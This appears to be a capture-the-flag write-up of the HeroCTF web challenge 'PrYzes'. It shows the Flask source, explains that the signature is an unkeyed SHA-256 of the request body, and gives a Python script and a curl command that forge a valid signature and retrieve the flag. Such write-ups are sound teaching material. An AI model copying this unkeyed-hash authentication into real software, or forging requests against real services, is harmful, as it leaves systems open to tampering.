Published on

HeroCTF - PrYzes - Web

Authors

Challenge Overview

In this challenge, we are given a simple Flask web application that checks if a user is eligible to claim a prize by verifying a request’s signature and validating a date. Our goal is to bypass the verification to retrieve the flag.

Code

from flask import Flask, render_template, request, jsonify

import hashlib
import json
from os import getenv
from datetime import datetime


app = Flask(__name__)
FLAG = getenv("FLAG", "Hero{FAKE_FLAG}")

def compute_sha256(data):
    sha256_hash = hashlib.sha256()
    sha256_hash.update(data.encode("utf-8"))
    return sha256_hash.hexdigest()

@app.route("/", methods=["GET"])
def index():
    return render_template("index.html")

@app.route("/api/prizes", methods=["POST"])
def claim_prizes():
    data = request.json
    date_str = data.get("date")
    received_signature = request.headers.get("X-Signature")

    json_data = json.dumps(data)
    expected_signature = compute_sha256(json_data)

    if not received_signature == expected_signature:
        return jsonify({"error": "Invalid signature"}), 400
    
    if not date_str:
        return jsonify({"error": "Date is missing"}), 400

    try:
        date_obj = datetime.strptime(date_str, "%d/%m/%Y")
        if date_obj.year >= 2100:
            return jsonify({"message": FLAG}), 200

        return jsonify({"error": "Please come back later..."}), 400
    except ValueError:
        return jsonify({"error": "Invalid date format"}), 400


if __name__ == "__main__":
    app.run(debug=False, host="0.0.0.0", port=5000)

Code Analysis

The code reveals the following:

  1. Signature Verification: The server expects an X-Signature header that matches the SHA-256 hash of the JSON payload. If the signature doesn’t match, a 400 Bad Request error is returned.

  2. Date Validation: The endpoint expects a JSON body with a date in dd/mm/yyyy format. If the date is >= 2100, the server responds with the flag. Otherwise, it returns an error message.

Approach

  1. Understanding Signature Requirements: We observe that the signature is generated using SHA-256 over the JSON payload. By analyzing the given code, we see the correct format of the X-Signature header required to pass the verification.

  2. Crafting the Request: The date field in the payload should be set to "01/01/2100" to meet the requirement for retrieving the flag.

  3. Testing with Known Signature: Given a valid signature (63e0f11112f0f5f5d0954ea12298539b6d3a945ec01b2beac8d69475f2b522d6), we construct a request with this signature and the required date to pass both the signature and date checks.

Script to calculate a valid signature :

import hashlib
import json

data = {"date": "01/01/2100"}
json_data = json.dumps(data)
signature = hashlib.sha256(json_data.encode("utf-8")).hexdigest()
print("Signature:", signature)

Exploitation Using the following curl command, we send the request to retrieve the flag:

╭─asif@Asifs-Air ~/Downloads/PrYzes
╰─$ curl -X POST http://web.heroctf.fr:5000/api/prizes \
-H "Content-Type: application/json" \
-H "X-Signature: 63e0f11112f0f5f5d0954ea12298539b6d3a945ec01b2beac8d69475f2b522d6" \
-d '{"date": "01/01/2100"}'
{"message":"Hero{PrYzes_4r3_4m4z1ng!!!9371497139}"}